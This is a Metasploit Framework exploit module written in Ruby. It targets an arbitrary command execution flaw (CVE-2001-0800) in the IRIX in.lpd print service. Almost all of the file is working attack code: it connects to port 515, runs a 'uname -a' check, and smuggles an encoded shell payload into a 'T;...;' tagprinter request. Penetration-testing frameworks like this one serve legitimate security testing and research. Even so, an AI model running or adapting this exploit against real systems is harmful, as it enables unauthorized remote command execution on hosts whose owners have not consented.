Irix LPD tagprinter Command Execution



##

# $Id: tagprinter_exec.rb 10561 2010-10-06 00:53:45Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::Tcp

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Irix LPD tagprinter Command Execution',
            'Description'    => %q{
                    This module exploits an arbitrary command execution flaw in
                the in.lpd service shipped with all versions of Irix.
            },
            'Author'         => [ 'optyx', 'hdm' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 10561 $',
            'References'     =>
                [
                    ['CVE', '2001-0800'],
                    ['OSVDB', '8573'],
                    ['URL',   'http://www.lsd-pl.net/code/IRIX/irx_lpsched.c'],
                ],
            'Privileged'     => false,
            'Platform'       => ['unix', 'irix'],
            'Arch'           => ARCH_CMD,
            'Payload'        =>
                {
                    'Space'       => 512,
                    'DisableNops' => true,
                    'Compat'      =>
                        {
                            'PayloadType' => 'cmd',
                            'RequiredCmd' => 'generic telnet',
                        }
                },
            'Targets'        =>
                [
                    [ 'Automatic Target', { }]
                ],
            'DisclosureDate' => 'Sep 01 2001',
            'DefaultTarget' => 0))

        register_options(
            [
                Opt::RPORT(515)
            ], self.class)
    end

    def check
        connect
        sock.put("T;uname -a;\n")
        resp = sock.get_once
        disconnect

        if (resp =~ /IRIX/)
            print_status("Response: #{resp.strip}")
            return Exploit::CheckCode::Vulnerable
        end
        return Exploit::CheckCode::Safe
    end

    def exploit
        connect
        sock.put("T;#{payload.encoded};\n")
        handler
        print_status("Payload: #{payload.encoded}")
    end

end